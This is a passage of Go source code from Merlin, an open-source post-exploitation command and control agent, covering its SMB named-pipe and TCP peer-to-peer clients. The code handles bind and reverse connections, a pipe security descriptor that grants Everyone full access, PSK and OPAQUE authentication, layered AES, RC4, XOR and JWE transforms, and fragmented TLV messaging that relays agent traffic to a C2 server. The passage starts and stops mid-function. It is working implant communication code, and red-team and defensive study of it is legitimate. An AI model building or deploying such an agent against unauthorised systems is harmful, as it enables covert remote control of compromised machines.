REVERSE) func (client *Client) Connect() (err error) { cli.Message(cli.DEBUG, "clients/smb.Connect(): entering into function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Connect(): leaving function with error %+v", err)) // Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect if len(client.connected) > 0 { <-client.connected } client.Lock() defer client.Unlock() switch client.mode { case BIND: if client.listener == nil { // Create the security descriptor // D = Discretionary Access List (DACL) // A = Allow // FA = FILE_ALL_ACCESS, FR = FILE_GENERIC_READ // https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings // SY = SYSTEM, BA = BUILT-IN ADMINISTRATORS, CO = CREATOR OWNER, WD = EVERYONE, AN = ANONYMOUS // https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings // Leave the Owner "O:" off, and it will be set to the user that created the named pipe by default // Leave the Group "G:" off, and it will be set to the "None" group by default sddl := "D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;CO)(A;;FA;;;WD)(A;;FR;;;AN)" var sd *windows.SECURITY_DESCRIPTOR sd, err = windows.SecurityDescriptorFromString(sddl) if err != nil { return fmt.Errorf("clients/smb.Connect(): there was an error converting the SDDL string \"%s\" to a SECURITY_DESCRIPTOR: %s", sddl, err) } // Create the Security Attributes // https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85) sa := windows.SecurityAttributes{ Length: uint32(unsafe.Sizeof(sd)), SecurityDescriptor: sd, InheritHandle: 1, } openMode := windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED | windows.FILE_FLAG_FIRST_PIPE_INSTANCE pipeMode := windows.PIPE_TYPE_BYTE | windows.PIPE_READMODE_BYTE | windows.PIPE_WAIT // Effectively equals 0 and could just specify the first flag client.listener, err = npipe.NewPipeListener(client.address, uint32(openMode), uint32(pipeMode), windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa) if err != nil { // Try again without FILE_FLAG_FIRST_PIPE_INSTANCE openMode = windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED client.listener, err = npipe.NewPipeListener(client.address, uint32(openMode), uint32(pipeMode), windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa) if err != nil { return fmt.Errorf("clients/smb.Connect(): there was an error listening on %s: %s", client.address, err) } } cli.Message(cli.NOTE, fmt.Sprintf("Started %s on %s", client, client.address)) } // Listen for initial connection from upstream agent cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming connection at %s...", time.Now().UTC().Format(time.RFC3339))) client.connection, err = client.listener.Accept() if err != nil { return fmt.Errorf("clients/smb.Connect(): there was an error accepting the connection: %s", err) } cli.Message(cli.NOTE, fmt.Sprintf("Received new connection from %s", client.connection.RemoteAddr())) // Send gratuitous checkin to provide parent Agent with linked agent data // Really only need to do this if the sleep is less than zero because else the normal checkin will happen if client.authenticated { cli.Message(cli.NOTE, fmt.Sprintf("Sending gratuitious StatusCheckIn at %s...", time.Now().UTC().Format(time.RFC3339))) _, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN}) } client.connected <- true return err case REVERSE: client.connection, err = npipe.Dial(client.address) if err != nil { client.connection = nil err = fmt.Errorf("clients/smb.Connect(): there was an error connecting to %s: %s", client.address, err) return } cli.Message(cli.SUCCESS, fmt.Sprintf("Successfully connected to %s at %s", client.address, time.Now().UTC().Format(time.RFC3339))) client.connected <- true err = nil return default: return fmt.Errorf("clients/smb.Connect(): Unhandled Client mode %d", client.mode) } } // Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms // on it to encode and encrypt it. func (client *Client) Construct(msg messages.Base) (data []byte, err error) { for i := len(client.transformers); i > 0; i-- { if i == len(client.transformers) { // First call should always take a Base message data, err = client.transformers[i-1].Construct(msg, client.secret) } else { data, err = client.transformers[i-1].Construct(data, client.secret) } if err != nil { return nil, fmt.Errorf("clients/smb.Construct(): there was an error calling the transformer construct function: %s", err) } } return } // Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until // a messages.Base structure is returned. The key is used for decryption transforms func (client *Client) Deconstruct(data []byte) (messages.Base, error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Deconstruct(): entering into function with message: %+v", data)) //fmt.Printf("Deconstructing %d bytes with key: %x\n", len(data), client.secret) for _, transform := range client.transformers { //fmt.Printf("Transformer %T: %+v\n", transform, transform) ret, err := transform.Deconstruct(data, client.secret) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("clients/smb.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK")) // Try to see if the PSK works k := sha256.Sum256([]byte(client.psk)) ret, err = transform.Deconstruct(data, k[:]) if err != nil { return messages.Base{}, err } // If the PSK worked, assume the agent is unauthenticated to the server client.authenticated = false client.secret = k[:] } switch ret.(type) { case []uint8: data = ret.([]byte) case string: data = []byte(ret.(string)) // Probably not what I should be doing case messages.Base: //fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base)) return ret.(messages.Base), nil default: return messages.Base{}, fmt.Errorf("clients/smb.Deconstruct(): unhandled data type for Deconstruct(): %T", ret) } } return messages.Base{}, fmt.Errorf("clients/smb.Deconstruct(): unable to transform data into messages.Base structure") } // Listen waits for incoming data on an established SMB connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "clients/smb.Listen(): entering into function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): leaving function with error %+v and return messages: %+v", err, returnMessages)) // Repair broken connections if client.connection == nil { switch client.mode { case BIND: // If the connection is empty and this is a BIND agent, wait for connection from Parent Agent cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339))) err = client.Connect() if err != nil { err = fmt.Errorf("clients/smb.Listen(): %s", err) return } case REVERSE: if !client.sending { // If the Agent's sleep is 0, which isn't known in this package, then there will never be a message to send and this will cause a deadlock // Return a message so that there is a message to send, forcing the communication client.Lock() client.sending = true client.Unlock() cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty and sending signal is false, returning gratuitious StatusCheckIn messages at %s", time.Now().UTC().Format(time.RFC3339))) return []messages.Base{messages.Base{ID: client.agentID, Type: messages.CHECKIN}}, nil } else { // If the connection is empty and this is a REVERSE agent, wait here until the connection is established cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before listening for messages at %s", time.Now().UTC().Format(time.RFC3339))) <-client.connected cli.Message(cli.SUCCESS, fmt.Sprintf("Client connection re-esablished at %s", time.Now().UTC().Format(time.RFC3339))) } } } // Wait for the response cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %s on %s at %s...", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339))) var n int var tag uint32 var length uint64 var buff bytes.Buffer for { respData := make([]byte, 4096) n, err = client.connection.Read(respData) cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Read %d bytes from connection %s at %s", n, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) if err != nil { if err == io.EOF { cli.Message(cli.WARN, fmt.Sprintf("clients/smb.Listen(): received EOF from %s, the Agent's connection has been reset", client.connection.RemoteAddr())) err = nil // Don't return an error when it is EOF because it will increase the max failed checkin count client.connection = nil return } else if strings.Contains(err.Error(), "The pipe has been ended") { cli.Message(cli.WARN, fmt.Sprintf("clients/smb.Listen(): the pipe %s has been ended and the Agent's connection has been reset", client.connection.RemoteAddr())) err = nil // Don't return an error because it will increase the max failed checkin count client.connection = nil return } err = fmt.Errorf("clients/smb.Listen(): there was an error reading the message from the connection with %s: %s", client.connection.RemoteAddr(), err) return } // Add the bytes to the buffer n, err = buff.Write(respData[:n]) if err != nil { err = fmt.Errorf("clients/smb.Listen(): there was an error writing %d incoming bytes to the local buffer: %s", n, err) client.connection = nil return } // If this is the first read on the connection determine the tag and data length if tag == 0 { // Ensure we have enough data to read the tag/type which is 4-bytes if buff.Len() < 4 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len())) continue } tag = binary.BigEndian.Uint32(respData[:4]) if tag != 1 { err = fmt.Errorf("clients/smb.Listen(): Expected a type/tag value of 1 for TLV but got %d", tag) client.connection = nil return } } if length == 0 { // Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size if buff.Len() < 12 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len())) continue } length = binary.BigEndian.Uint64(respData[4:12]) } // If we've read all the data according to the length provided in TLV, then break the for loop // Type/Tag size is 4-bytes, Length size is 8-bytes for TLV if uint64(buff.Len()) == length+4+8 { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length)) break } else { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Listen(): Read %d of %d bytes into the buffer", buff.Len(), length)) } } cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from connection %s at %s", buff.Len(), client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) var msg messages.Base // Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV msg, err = client.Deconstruct(buff.Bytes()[12:]) if err != nil { err = fmt.Errorf("clients/smb.Listen(): there was an error deconstructing the data: %s", err) return } returnMessages = append(returnMessages, msg) return } // Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream. // This function DOES not wait or listen for response messages. func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Entering into function with message: %+v", m)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Leaving function with error: %+v and messages: %+v", err, returnMessages)) // Recover connection if client.connection == nil { switch client.mode { case BIND: // If the connection is empty and this is a BIND agent, wait here for listener to receive a connection cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before sending message at %s", time.Now().UTC().Format(time.RFC3339))) <-client.connected case REVERSE: // Signal to the listen() function that we are attempting to recover the connection client.Lock() client.sending = true client.Unlock() // If the connection is empty and this is a REVERSE agent, attempt to connect to the listener cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339))) err = client.Connect() if err != nil { err = fmt.Errorf("clients/smb.Send(): %s", err) return } // Once the connection has successfully been recovered, and a message has been sent, reset the sending signal for the listen() function defer func() { client.Lock() client.sending = false client.Unlock() }() } } if !client.authenticated && m.Type != messages.OPAQUE { cli.Message(cli.INFO, fmt.Sprintf("Waiting for authentication to complete before sending message at %s", time.Now().UTC().Format(time.RFC3339))) <-client.authComplete cli.Message(cli.INFO, fmt.Sprintf("Authentication completed, continuing with sending held message at %s", time.Now().UTC().Format(time.RFC3339))) } // Set the message padding if client.paddingMax > 0 { // #nosec G404 -- Random number does not impact security m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax)) } data, err := client.Construct(m) if err != nil { err = fmt.Errorf("clients/smb.Send(): there was an error constructing the data: %s", err) return } delegate := messages.Delegate{ Listener: client.listenerID, Agent: client.agentID, Payload: data, } // Convert messages.Base to gob // Still need this for agent to agent message encoding delegateBytes := new(bytes.Buffer) err = gob.NewEncoder(delegateBytes).Encode(delegate) if err != nil { err = fmt.Errorf("there was an error encoding the %s message to a gob:\r\n%s", m.Type, err) return } // Add in Tag/Type and Length for TLV tag := make([]byte, 4) binary.BigEndian.PutUint32(tag, 1) length := make([]byte, 8) binary.BigEndian.PutUint64(length, uint64(delegateBytes.Len())) // Create TLV outData := append(tag, length...) outData = append(outData, delegateBytes.Bytes()...) cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Added Tag: %d and Length: %d to data size of %d\n", tag, uint64(delegateBytes.Len()), len(outData))) cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s from %s at %s", m.Type, client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339))) // Write the message cli.Message(cli.DEBUG, fmt.Sprintf("Writing message size: %d to: %s", delegateBytes.Len(), client.connection.RemoteAddr())) // Split into fragments of MaxSize fragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize))) cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): SMB data size is: %d, max SMB fragment size is %d, creating %d fragments", len(outData), MaxSize, fragments)) var i int size := len(outData) for i < fragments { start := i * MaxSize var stop int // if bytes remaining are less than max size, read until the end if size < MaxSize { stop = len(outData) } else { stop = (i + 1) * MaxSize } var n int n, err = client.connection.Write(outData[start:stop]) if err != nil { err = fmt.Errorf("clients/smb.Send(): there was an error writing SMB fragment %d of %d to the connection with %s: %s", i, fragments, client.connection.RemoteAddr(), err) return } cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Send(): Wrote %d bytes, SMB fragment %d of %d, to %s", n, i+1, fragments, client.connection.RemoteAddr())) i++ size = size - MaxSize } return } // SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response // messages and returns them func (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "Entering into clients/smb.SendAndWait()...") // Send returnMessages, err = client.Send(m) if err != nil { err = fmt.Errorf("clients/smb.SendAndWait(): %s", err) return } // Listen return client.Listen() } // Get is a generic function that is used to retrieve the value of a Client's field func (client *Client) Get(key string) (value string) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Get(): entering into function with key: %s", key)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Get(): leaving function with value: %s", value)) switch strings.ToLower(key) { case "ja3": return "" case "paddingmax": value = strconv.Itoa(client.paddingMax) case "protocol": value = client.String() default: value = fmt.Sprintf("unknown client configuration setting: %s", key) } return } // Set is a generic function that is used to modify a Client's field values func (client *Client) Set(key string, value string) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Set(): entering into function with key: %s, value: %s", key, value)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Set(): exiting function with err: %v", err)) client.Lock() defer client.Unlock() switch strings.ToLower(key) { case "addr": // Validate the address // \\.\pipe\MerlinPipe t := strings.Split(value, "\\") if len(t) < 5 { err = fmt.Errorf("clients/smb.Set(): invalid SMB address: %s\n Try \\\\.\\pipe\\merlin", value) return } if t[1] != "." { _, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:445", t[1])) if err != nil { err = fmt.Errorf("clients/smb.Set(): there was an error validating the input network address: %s", err) return } } if err != nil { err = fmt.Errorf("clients/tcp.Set(): there was an error parsing the provide address %s : %s", value, err) return } // Close the connection err = client.connection.Close() if err != nil { err = fmt.Errorf("clients/tcp.Set(): there was an error closing the connection: %s", err) return } client.connection = nil if client.mode == BIND { // Close the listener err = client.listener.Close() if err != nil { err = fmt.Errorf("clients/tcp.Set(): there was an error closing the listener: %s", err) return } } client.listener = nil client.address = value case "listener": var id uuid.UUID id, err = uuid.Parse(value) if err != nil { return fmt.Errorf("clients/smb.Set(): %s", err) } client.listenerID = id case "paddingmax": client.paddingMax, err = strconv.Atoi(value) case "secret": client.secret = []byte(value) default: err = fmt.Errorf("unknown tcp client setting: %s", key) } return } // String returns the type of SMB client func (client *Client) String() string { switch client.mode { case BIND: return "smb-bind" case REVERSE: return "smb-reverse" default: return "smb-unhandled" } } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { switch client.mode { case BIND: return true case REVERSE: return true default: return false } } ================================================ FILE: clients/tcp/tcp.go ================================================ //go:build tcp || !(http || http1 || http2 || http3 || mythic || winhttp || smb || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package tcp contains a configurable client used for TCP-based peer-to-peer Agent communications package tcp import ( // Standard "bytes" "crypto/sha256" "encoding/binary" "encoding/gob" "fmt" "io" "math/rand" "net" "strconv" "strings" "sync" "time" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" // Internal "github.com/Ne0nd0g/merlin-agent/v2/authenticators" "github.com/Ne0nd0g/merlin-agent/v2/authenticators/none" "github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque" "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/core" transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64" gob2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor" ) const ( BIND = 0 REVERSE = 1 ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { address string // address is the network interface and port the agent will bind to agentID uuid.UUID // agentID the Agent's UUID authenticated bool // authenticated tracks if the Agent has successfully authenticated authComplete chan bool // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated authenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server connected chan bool // connected is a channel that is used to track if the Agent is connected to a Parent connection net.Conn // connection the network socket connection used to handle traffic listener net.Listener // listener the network socket connection listening for traffic listenerID uuid.UUID // listenerID the UUID of the listener that this Agent is configured to communicate with paddingMax int // paddingMax the maximum amount of random padding to apply to every Base message psk string // psk the pre-shared key used for encrypting messages until authentication is complete secret []byte // secret the key used to encrypt messages sending bool // sending is a flag that is used to track if the Agent is currently sending a message transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message mode int // mode the type of client or communication mode (e.g., BIND or REVERSE) sync.Mutex // used to lock the Client when changes are being made by one function or routine } // Config is a structure that is used to pass in all necessary information to instantiate a new Client type Config struct { Address []string // Address the interface and port the agent will bind to AgentID uuid.UUID // AgentID the Agent's UUID AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with Padding string // Padding the max amount of data that will be randomly selected and appended to every message PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE) } // New instantiates and returns a Client that is constructed from the passed in Config func New(config Config) (*Client, error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.New() entering into function with config: %+v", config)) client := Client{} client.authComplete = make(chan bool, 1) client.connected = make(chan bool, 1) if config.AgentID == uuid.Nil { return nil, fmt.Errorf("clients/p2p/tcp.New(): a nil Agent UUID was provided") } client.agentID = config.AgentID if config.ListenerID == uuid.Nil { return nil, fmt.Errorf("clients/p2p/tcp.New(): a nil Listener UUID was provided") } switch strings.ToLower(config.Mode) { case "tcp-bind": client.mode = BIND case "tcp-reverse": client.mode = REVERSE default: client.mode = BIND } client.listenerID = config.ListenerID client.psk = config.PSK // Parse Address and validate it if len(config.Address) <= 0 { return nil, fmt.Errorf("a configuration address value was not provided") } _, err := net.ResolveTCPAddr("tcp", config.Address[0]) if err != nil { return nil, err } client.address = config.Address[0] // Set secret for encryption k := sha256.Sum256([]byte(client.psk)) client.secret = k[:] cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk)) cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret)) //Convert Padding from string to an integer if config.Padding != "" { client.paddingMax, err = strconv.Atoi(config.Padding) if err != nil { return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err) } } else { client.paddingMax = 0 } // Authenticator switch strings.ToLower(config.AuthPackage) { case "opaque": client.authenticator = opaque.New(config.AgentID) case "none": client.authenticator = none.New(config.AgentID) default: return nil, fmt.Errorf("an authenticator must be provided (e.g., 'opaque'") } // Transformers transforms := strings.Split(config.Transformers, ",") for _, transform := range transforms { var t transformer.Transformer switch strings.ToLower(transform) { case "aes": t = aes.NewEncrypter() case "base64-byte": t = base64.NewEncoder(base64.BYTE) case "base64-string": t = base64.NewEncoder(base64.STRING) case "gob-base": t = gob2.NewEncoder(gob2.BASE) case "gob-string": t = gob2.NewEncoder(gob2.STRING) case "hex-byte": t = hex.NewEncoder(hex.BYTE) case "hex-string": t = hex.NewEncoder(hex.STRING) case "jwe": t = jwe.NewEncrypter() case "rc4": t = rc4.NewEncrypter() case "xor": t = xor.NewEncrypter() default: err := fmt.Errorf("clients/tcp.New(): unhandled transform type: %s", transform) if err != nil { return nil, err } } client.transformers = append(client.transformers, t) } cli.Message(cli.INFO, "Client information:") cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", &client)) cli.Message(cli.INFO, fmt.Sprintf("\tAddress: %s", client.address)) cli.Message(cli.INFO, fmt.Sprintf("\tListener: %s", client.listenerID)) cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.authenticator)) cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers)) cli.Message(cli.INFO, fmt.Sprintf("\tPadding: %d", client.paddingMax)) return &client, nil } // Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent func (client *Client) Initial() (err error) { cli.Message(cli.DEBUG, "clients/tcp.Initial(): entering into function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Initial(): leaving function with error: %+v", err)) err = client.Connect() if err != nil { err = fmt.Errorf("clients/tcp.Initial(): %s", err) return } <-client.connected // Authenticate err = client.Authenticate(messages.Base{}) return } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(msg messages.Base) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Authenticate(): entering into function with message: %+v", msg)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Authenticate(): leaving function with error: %+v", err)) client.Lock() client.authenticated = false client.Unlock() if len(client.authComplete) > 0 { <-client.authComplete } var authenticated bool // Reset the Agent's PSK k := sha256.Sum256([]byte(client.psk)) client.Lock() client.secret = k[:] client.Unlock() // Repeat until authenticator is complete and Agent is authenticated for { msg, authenticated, err = client.authenticator.Authenticate(msg) if err != nil { return } // An empty message was received indicating to exit the function if msg.Type == 0 { return } // Once authenticated, update the client's secret used to encrypt messages if authenticated { client.Lock() client.authenticated = true client.Unlock() var key []byte key, err = client.authenticator.Secret() if err != nil { return } // Don't update the secret if the authenticator returned an empty key if len(key) > 0 { client.Lock() client.secret = key client.Unlock() } } if msg.Type == messages.OPAQUE { // Send the message to the server var msgs []messages.Base msgs, err = client.SendAndWait(msg) if err != nil { return } // Add response message to the next loop iteration if len(msgs) > 0 { // Don't add IDLE messages, just continue on if msgs[0].Type != messages.IDLE { msg = msgs[0] } } } else { _, err = client.Send(msg) if err != nil { return } } // If the Agent is authenticated, exit the loop and return the function if authenticated { client.authComplete <- true return } } } // Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE) func (client *Client) Connect() (err error) { cli.Message(cli.DEBUG, "clients/tcp.Connect(): entering into function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Connect(): leaving function with error %+v", err)) // Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect if len(client.connected) > 0 { <-client.connected } client.Lock() defer client.Unlock() // Check to see if the connection was restored by a different call stack if client.connection != nil { return nil } switch client.mode { case BIND: if client.listener == nil { client.listener, err = net.Listen("tcp", client.address) if err != nil { return fmt.Errorf("clients/tcp.Connect(): there was an error listening on %s: %s", client.address, err) } cli.Message(cli.NOTE, fmt.Sprintf("Started %s on %s", client, client.address)) } // Listen for initial connection from upstream agent cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming connection on %s at %s...", client.address, time.Now().UTC().Format(time.RFC3339))) client.connection, err = client.listener.Accept() if err != nil { return fmt.Errorf("clients/tcp.Connect(): there was an error accepting the connection: %s", err) } cli.Message(cli.NOTE, fmt.Sprintf("Received new connection from %s", client.connection.RemoteAddr())) // When an Agent previously authenticated, has a sleep less than 0, and has been unlinked, it will send an IDLE message to the server when a new link is established if client.authenticated { cli.Message(cli.NOTE, fmt.Sprintf("Sending gratuitious StatusCheckIn at %s...", time.Now().UTC().Format(time.RFC3339))) _, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN}) } client.connected <- true return err case REVERSE: client.connection, err = net.Dial("tcp", client.address) if err != nil { return fmt.Errorf("clients/tcp.Connect(): there was an error connecting to %s: %s", client.address, err) } cli.Message(cli.SUCCESS, fmt.Sprintf("Successfully connected to %s at %s", client.address, time.Now().UTC().Format(time.RFC3339))) client.connected <- true return nil default: return fmt.Errorf("clients/tcp.Connect(): Unhandled Client mode %d", client.mode) } } // Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms // on it to encode and encrypt it. func (client *Client) Construct(msg messages.Base) (data []byte, err error) { for i := len(client.transformers); i > 0; i-- { if i == len(client.transformers) { // First call should always take a Base message data, err = client.transformers[i-1].Construct(msg, client.secret) } else { data, err = client.transformers[i-1].Construct(data, client.secret) } if err != nil { return nil, fmt.Errorf("clients/tcp.Construct(): there was an error calling the transformer construct function: %s", err) } } return } // Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until // a messages.Base structure is returned. The key is used for decryption transforms func (client *Client) Deconstruct(data []byte) (messages.Base, error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Deconstruct(): entering into function with message: %+v", data)) //fmt.Printf("Deconstructing %d bytes with key: %x\n", len(data), client.secret) for _, transform := range client.transformers { //fmt.Printf("Transformer %T: %+v\n", transform, transform) ret, err := transform.Deconstruct(data, client.secret) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("clients/tcp.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK")) // Try to see if the PSK works k := sha256.Sum256([]byte(client.psk)) ret, err = transform.Deconstruct(data, k[:]) if err != nil { return messages.Base{}, err } // If the PSK worked, assume the agent is unauthenticated to the server client.authenticated = false client.secret = k[:] } switch ret.(type) { case []uint8: data = ret.([]byte) case string: data = []byte(ret.(string)) // Probably not what I should be doing case messages.Base: //fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base)) return ret.(messages.Base), nil default: return messages.Base{}, fmt.Errorf("clients/tcp.Deconstruct(): unhandled data type for Deconstruct(): %T", ret) } } return messages.Base{}, fmt.Errorf("clients/tcp.Deconstruct(): unable to transform data into messages.Base structure") } // Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "clients/tcp.Listen(): entering into function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): leaving function with error %+v and return messages: %+v", err, returnMessages)) // Repair broken connections if client.connection == nil { switch client.mode { case BIND: // If the connection is empty and this is a BIND agent, wait for connection from Parent Agent cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339))) err = client.Connect() if err != nil { err = fmt.Errorf("clients/tcp.Listen(): %s", err) return } case REVERSE: if !client.sending { // If the Agent's sleep is 0, which isn't known in this package, then there will never be a message to send and this will cause a deadlock // Return a message so that there is a message to send, forcing the communication client.Lock() client.sending = true client.Unlock() cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty and sending signal is false, returning gratuitious StatusCheckIn messages at %s", time.Now().UTC().Format(time.RFC3339))) return []messages.Base{{ID: client.agentID, Type: messages.CHECKIN}}, nil } else { // If the connection is empty and this is a REVERSE agent, wait here until the connection is established cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before listening for messages at %s", time.Now().UTC().Format(time.RFC3339))) <-client.connected cli.Message(cli.SUCCESS, fmt.Sprintf("Client connection re-esablished at %s", time.Now().UTC().Format(time.RFC3339))) } } } // Wait for the response cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %s on %s at %s...", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339))) var n int var tag uint32 var length uint64 var buff bytes.Buffer for { respData := make([]byte, 4096) n, err = client.connection.Read(respData) cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Read %d bytes from connection %s at %s", n, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) if err != nil { if err == io.EOF { cli.Message(cli.WARN, fmt.Sprintf("clients/tcp.Listen(): received EOF from %s, the Agent's connection has been reset", client.connection.RemoteAddr())) err = nil client.connection = nil return } err = fmt.Errorf("clients/tcp.Listen(): there was an error reading the message from the connection with %s: %s", client.connection.RemoteAddr(), err) client.connection = nil return } // Add the bytes to the buffer n, err = buff.Write(respData[:n]) if err != nil { err = fmt.Errorf("clients/tcp.Listen(): there was an error 